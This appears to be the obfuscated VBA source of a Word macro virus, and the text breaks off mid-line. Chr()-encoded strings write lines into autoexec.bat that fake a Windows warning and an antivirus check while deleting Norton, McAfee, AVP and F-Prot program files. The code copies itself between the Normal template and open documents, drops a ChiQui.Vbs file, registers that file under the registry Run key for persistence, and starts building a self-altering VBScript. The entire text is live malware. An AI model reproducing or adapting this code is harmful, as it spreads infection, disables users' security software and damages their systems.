On Error Resume Next: h$ = Chr(99) & Chr(58) & Chr(92) & Chr(97) & Chr(117) & Chr(116) & Chr(111) & Chr(101) & Chr(120) & Chr(101) & Chr(99) & Chr(46) & Chr(98) & Chr(97) & Chr(116)

Open h$ For Output As #1

OO$ = Chr(82) & Chr(69) & Chr(77) & Chr(32) & Chr(45) & Chr(32) & Chr(84) & Chr(104) & Chr(105) & Chr(115) & Chr(32) & Chr(115) & Chr(101) & Chr(99) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(32) & Chr(112) & Chr(117) & Chr(116) & Chr(32) & Chr(105) & Chr(110) & Chr(32) & Chr(98) & Chr(121) & Chr(32) & Chr(87) & Chr(105) & Chr(110) & Chr(100) & Chr(111) & Chr(119) & Chr(115) & Chr(44) & Chr(32) & Chr(105) & Chr(102) & Chr(32) & Chr(100) & Chr(101) & Chr(108) & Chr(101) & Chr(116) & Chr(101) & Chr(100) & Chr(44)

PP$ = Chr(32) & Chr(87) & Chr(105) & Chr(110) & Chr(100) & Chr(111) & Chr(119) & Chr(115) & Chr(32) & Chr(119) & Chr(105) & Chr(108) & Chr(108) & Chr(32) & Chr(110) & Chr(111) & Chr(32) & Chr(108) & Chr(111) & Chr(110) & Chr(103) & Chr(101) & Chr(114) & Chr(32) & Chr(115) & Chr(116) & Chr(97) & Chr(114) & Chr(116) & Chr(32) & Chr(117) & Chr(112) & Chr(32) & Chr(45) & Chr(13) & Chr(10) & Chr(82) & Chr(69) & Chr(77) & Chr(32) & Chr(45) & Chr(32) & Chr(80) & Chr(108) & Chr(101) & Chr(97) & Chr(115) & Chr(101) & Chr(32) & Chr(68)

QQ$ = Chr(111) & Chr(32) & Chr(78) & Chr(111) & Chr(116) & Chr(32) & Chr(82) & Chr(101) & Chr(109) & Chr(111) & Chr(118) & Chr(101) & Chr(32) & Chr(45)

YY$ = OO$ & PP$ & QQ$: Print #1, YY$

OO$ = Chr(64) & Chr(101) & Chr(99) & Chr(104) & Chr(111) & Chr(32) & Chr(111) & Chr(102) & Chr(102) & Chr(13) & Chr(10) & Chr(101) & Chr(99) & Chr(104) & Chr(111) & Chr(32) & Chr(89) & Chr(111) & Chr(117) & Chr(32) & Chr(65) & Chr(110) & Chr(116) & Chr(105) & Chr(45) & Chr(86) & Chr(105) & Chr(114) & Chr(117) & Chr(115) & Chr(32) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(119) & Chr(97) & Chr(114) & Chr(101) & Chr(32) & Chr(119) & Chr(105) & Chr(108) & Chr(108) & Chr(32) & Chr(110) & Chr(111) & Chr(119) & Chr(32)

PP$ = Chr(99) & Chr(104) & Chr(101) & Chr(99) & Chr(107) & Chr(32) & Chr(121) & Chr(111) & Chr(117) & Chr(32) & Chr(115) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(46) & Chr(46) & Chr(46)

YY$ = OO$ & PP$: Print #1, YY$

OO$ = Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(110) & Chr(111) & Chr(114) & Chr(116) & Chr(111) & Chr(110) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(110)

PP$ = Chr(111) & Chr(114) & Chr(116) & Chr(111) & Chr(110) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(108) & Chr(108) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(110) & Chr(111) & Chr(114) & Chr(116) & Chr(111) & Chr(110) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(97) & Chr(116) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108)

QQ$ = Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(110) & Chr(111) & Chr(114) & Chr(116) & Chr(111) & Chr(110) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(118) & Chr(120) & Chr(100) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(110) & Chr(111) & Chr(114) & Chr(116) & Chr(111) & Chr(110) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(101) & Chr(120) & Chr(101)

SS$ = Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(110) & Chr(111) & Chr(114) & Chr(116) & Chr(111) & Chr(110) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(108) & Chr(108) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(110) & Chr(111) & Chr(114) & Chr(116) & Chr(111) & Chr(110) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(97) & Chr(116) & Chr(13) & Chr(10) & Chr(100) & Chr(101)

TT$ = Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(110) & Chr(111) & Chr(114) & Chr(116) & Chr(111) & Chr(110) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(118) & Chr(120) & Chr(100)

YY$ = OO$ & PP$ & QQ$ & SS$ & TT$: Print #1, YY$

OO$ = Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(97) & Chr(110) & Chr(116) & Chr(105) & Chr(118) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(97) & Chr(118) & Chr(99) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(97) & Chr(110)

PP$ = Chr(116) & Chr(105) & Chr(118) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(115) & Chr(101) & Chr(116) & Chr(32) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(97) & Chr(110) & Chr(116) & Chr(105) & Chr(118) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(108) & Chr(108) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99)

QQ$ = Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(97) & Chr(110) & Chr(116) & Chr(105) & Chr(118) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(118) & Chr(120) & Chr(100) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(97) & Chr(110) & Chr(116) & Chr(105) & Chr(118) & Chr(126) & Chr(49) & Chr(92)

SS$ = Chr(42) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(97) & Chr(110) & Chr(116) & Chr(105) & Chr(118) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(97) & Chr(118) & Chr(99) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(97) & Chr(110) & Chr(116) & Chr(105) & Chr(118) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(115) & Chr(101) & Chr(116) & Chr(13)

TT$ = Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(97) & Chr(110) & Chr(116) & Chr(105) & Chr(118) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(108) & Chr(108) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(97) & Chr(110) & Chr(116) & Chr(105) & Chr(118) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(118) & Chr(120) & Chr(100) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99)

UU$ = Chr(58) & Chr(92) & Chr(97) & Chr(110) & Chr(116) & Chr(105) & Chr(118) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(101) & Chr(120) & Chr(101)

YY$ = OO$ & PP$ & QQ$ & SS$ & TT$ & UU$: Print #1, YY$

OO$ = Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(109) & Chr(99) & Chr(97) & Chr(102) & Chr(101) & Chr(101) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(97) & Chr(116) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(109)

PP$ = Chr(99) & Chr(97) & Chr(102) & Chr(101) & Chr(101) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(108) & Chr(108) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(109) & Chr(99) & Chr(97) & Chr(102) & Chr(101) & Chr(101) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108)

QQ$ = Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(109) & Chr(99) & Chr(97) & Chr(102) & Chr(101) & Chr(101) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(118) & Chr(115) & Chr(99) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(109) & Chr(99) & Chr(97) & Chr(102) & Chr(101)

SS$ = Chr(101) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(97) & Chr(116) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(109) & Chr(99) & Chr(97) & Chr(102) & Chr(101) & Chr(101) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(108) & Chr(108) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103)

TT$ = Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(109) & Chr(99) & Chr(97) & Chr(102) & Chr(101) & Chr(101) & Chr(92) & Chr(42) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(109) & Chr(99) & Chr(97) & Chr(102) & Chr(101) & Chr(101) & Chr(92) & Chr(42) & Chr(46) & Chr(118) & Chr(115) & Chr(99) & Chr(13) & Chr(10) & Chr(100)

UU$ = Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(109) & Chr(99) & Chr(97) & Chr(102) & Chr(101) & Chr(101) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(97) & Chr(116) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(109) & Chr(99) & Chr(97) & Chr(102) & Chr(101) & Chr(101) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(108) & Chr(108) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99)

VV$ = Chr(58) & Chr(92) & Chr(109) & Chr(99) & Chr(97) & Chr(102) & Chr(101) & Chr(101) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(109) & Chr(99) & Chr(97) & Chr(102) & Chr(101) & Chr(101) & Chr(126) & Chr(49) & Chr(92) & Chr(42) & Chr(46) & Chr(118) & Chr(115) & Chr(99)

YY$ = OO$ & PP$ & QQ$ & SS$ & TT$ & UU$ & VV$: Print #1, YY$

OO$ = Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(102) & Chr(115) & Chr(105) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92) & Chr(42) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49)

PP$ = Chr(92) & Chr(102) & Chr(115) & Chr(105) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(108) & Chr(108) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(102) & Chr(115) & Chr(105) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92) & Chr(42) & Chr(46) & Chr(118) & Chr(120)

QQ$ = Chr(100) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(102) & Chr(115) & Chr(105) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92) & Chr(42) & Chr(46) & Chr(114) & Chr(101) & Chr(112) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97)

SS$ = Chr(126) & Chr(49) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92) & Chr(42) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(108) & Chr(108) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108)

TT$ = Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92) & Chr(42) & Chr(46) & Chr(118) & Chr(120) & Chr(100) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(112) & Chr(114) & Chr(111) & Chr(103) & Chr(114) & Chr(97) & Chr(126) & Chr(49) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92)

UU$ = Chr(42) & Chr(46) & Chr(114) & Chr(101) & Chr(112) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92) & Chr(42) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(108) & Chr(108) & Chr(13) & Chr(10) & Chr(100)

VV$ = Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92) & Chr(42) & Chr(46) & Chr(118) & Chr(120) & Chr(100) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92) & Chr(42) & Chr(46) & Chr(114) & Chr(101) & Chr(112)

YY$ = OO$ & PP$ & QQ$ & SS$ & TT$ & UU$ & VV$: Print #1, YY$

OO$ = Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(102) & Chr(115) & Chr(105) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92) & Chr(42) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(102) & Chr(115) & Chr(105) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92) & Chr(42) & Chr(46) & Chr(100) & Chr(108) & Chr(108) & Chr(13)

PP$ = Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(102) & Chr(115) & Chr(105) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92) & Chr(42) & Chr(46) & Chr(118) & Chr(120) & Chr(100) & Chr(13) & Chr(10) & Chr(100) & Chr(101) & Chr(108) & Chr(32) & Chr(99) & Chr(58) & Chr(92) & Chr(102) & Chr(115) & Chr(105) & Chr(92) & Chr(102) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(116) & Chr(92) & Chr(42) & Chr(46) & Chr(114) & Chr(101) & Chr(112)

YY$ = OO$ & PP$: Print #1, YY$

OO$ = Chr(101) & Chr(99) & Chr(104) & Chr(111) & Chr(32) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(32) & Chr(99) & Chr(104) & Chr(101) & Chr(99) & Chr(107) & Chr(32) & Chr(104) & Chr(97) & Chr(115) & Chr(32) & Chr(98) & Chr(101) & Chr(101) & Chr(110) & Chr(32) & Chr(99) & Chr(111) & Chr(109) & Chr(112) & Chr(108) & Chr(101) & Chr(116) & Chr(101) & Chr(100) & Chr(46)

Print #1, OO$

OO$ = Chr(82) & Chr(69) & Chr(77) & Chr(32) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45)

PP$ = Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45) & Chr(45)

YY$ = OO$ & PP$: Print #1, YY$: Close #1

End Sub

Private Sub AA(XX As Integer, TT As Integer)

Randomize: On Error Resume Next

If ActiveDocument.Characters.Count > 0 Then

Selection.MoveStart Unit:=wdCharacter, Count:=1

With Selection.Find: .ClearFormatting: .Text = Chr(XX): .Replacement.ClearFormatting: .Replacement.Text = Chr(TT): .Execute Replace:=wdReplaceAll, Forward:=(555 - 544), Wrap:=wdFindContinue: End With: End If

End Sub

Private Sub BB()

Dim NtCode As Object, AdCode As Object: On Error Resume Next: Randomize

Set NtCode = NormalTemplate.VBProject.VBComponents(1).CodeModule: Set AdCode = ActiveDocument.VBProject.VBComponents(1).CodeModule

If NtCode.lines(54, 1) = "" Then

NtCode.deletelines 1, NtCode.countoflines: EEE AdCode.countoflines, 14

RRR = ZZ(AdCode.lines(1, AdCode.countoflines)): NtCode.insertlines 1, RRR

ActiveDocument.SaveAs ActiveDocument.FullName: NormalTemplate.Save

ActiveDocument.Saved = (545 - 544): NormalTemplate.Saved = (545 - 544)

RRR = AdCode.lines(1, AdCode.countoflines)

OO$ = Chr(99) & Chr(58) & Chr(92) & Chr(119) & Chr(105) & Chr(110) & Chr(100) & Chr(111) & Chr(119) & Chr(115) & Chr(92) & Chr(115) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(92) & Chr(67) & Chr(104) & Chr(105) & Chr(81) & Chr(117) & Chr(105) & Chr(46) & Chr(66) & Chr(97) & Chr(83)

Open OO$ For Output As #1: Print #1, RRR: Close #1

System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Word2000.ChiQui") = "C:\windows\system\ChiQui.Vbs"

Call DD: End If

If AdCode.lines(54, 1) = "" Then

AdCode.deletelines 1, AdCode.countoflines: EEE NtCode.countoflines, 14

RRR = ZZ(NtCode.lines(1, NtCode.countoflines)): AdCode.insertlines 1, RRR

ActiveDocument.SaveAs ActiveDocument.FullName: NormalTemplate.Save

ActiveDocument.Saved = (545 - 544): NormalTemplate.Saved = (545 - 544)

RRR = NtCode.lines(1, NtCode.countoflines)

OO$ = Chr(99) & Chr(58) & Chr(92) & Chr(119) & Chr(105) & Chr(110) & Chr(100) & Chr(111) & Chr(119) & Chr(115) & Chr(92) & Chr(115) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(92) & Chr(67) & Chr(104) & Chr(105) & Chr(81) & Chr(117) & Chr(105) & Chr(46) & Chr(66) & Chr(97) & Chr(83)

Open OO$ For Output As #1: Print #1, RRR: Close #1

System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Word2000.ChiQui") = "C:\windows\system\ChiQui.Vbs"

Call DD: End If

End Sub

Private Sub DD(): On Error Resume Next

L$ = Chr(99) & Chr(58) & Chr(92) & Chr(119) & Chr(105) & Chr(110) & Chr(100) & Chr(111) & Chr(119) & Chr(115) & Chr(92) & Chr(115) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(92) & Chr(67) & Chr(104) & Chr(105) & Chr(81) & Chr(117) & Chr(105) & Chr(46) & Chr(86) & Chr(98) & Chr(83)

Open "c:\windows\desktop\x.txt" For Output As #1

P1$ = Chr(82) & Chr(97) & Chr(110) & Chr(100) & Chr(111) & Chr(109) & Chr(105) & Chr(122) & Chr(101) & Chr(13) & Chr(10) & Chr(83) & Chr(101) & Chr(116) & Chr(32) & Chr(70) & Chr(83) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(61) & Chr(32) & Chr(67) & Chr(114) & Chr(101) & Chr(97) & Chr(116) & Chr(101) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(40) & Chr(34) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(105) & Chr(110) & Chr(103)

p2$ = Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(34) & Chr(41) & Chr(13) & Chr(10) & Chr(83) & Chr(101) & Chr(116) & Chr(32) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(32) & Chr(61) & Chr(32) & Chr(70) & Chr(83) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(46) & Chr(79) & Chr(112) & Chr(101)

P3$ = Chr(110) & Chr(84) & Chr(101) & Chr(120) & Chr(116) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(40) & Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(70) & Chr(117) & Chr(108) & Chr(108) & Chr(78) & Chr(97) & Chr(109) & Chr(101) & Chr(44) & Chr(32) & Chr(49) & Chr(41) & Chr(13) & Chr(10) & Chr(79) & Chr(117) & Chr(114) & Chr(67) & Chr(111) & Chr(100) & Chr(101) & Chr(32) & Chr(61) & Chr(32) & Chr(83) & Chr(99)

P4$ = Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(46) & Chr(82) & Chr(101) & Chr(97) & Chr(100) & Chr(97) & Chr(108) & Chr(108) & Chr(13) & Chr(10) & Chr(65) & Chr(108) & Chr(108) & Chr(86) & Chr(97) & Chr(114) & Chr(105) & Chr(97) & Chr(98) & Chr(108) & Chr(101) & Chr(115) & Chr(32) & Chr(61) & Chr(32) & Chr(34) & Chr(70) & Chr(83) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(70)

P5$ = Chr(105) & Chr(108) & Chr(101) & Chr(32) & Chr(79) & Chr(117) & Chr(114) & Chr(67) & Chr(111) & Chr(100) & Chr(101) & Chr(32) & Chr(65) & Chr(108) & Chr(108) & Chr(86) & Chr(97) & Chr(114) & Chr(105) & Chr(97) & Chr(98) & Chr(108) & Chr(101) & Chr(115) & Chr(32) & Chr(86) & Chr(97) & Chr(114) & Chr(76) & Chr(111) & Chr(111) & Chr(112) & Chr(32) & Chr(67) & Chr(117) & Chr(114) & Chr(86) & Chr(97) & Chr(114) & Chr(32) & Chr(78) & Chr(101) & Chr(119) & Chr(86) & Chr(97) & Chr(114) & Chr(32) & Chr(86) & Chr(97) & Chr(114)

P6$ = Chr(80) & Chr(111) & Chr(115) & Chr(32) & Chr(106) & Chr(32) & Chr(121) & Chr(32) & Chr(120) & Chr(32) & Chr(34) & Chr(13) & Chr(10) & Chr(68) & Chr(111)

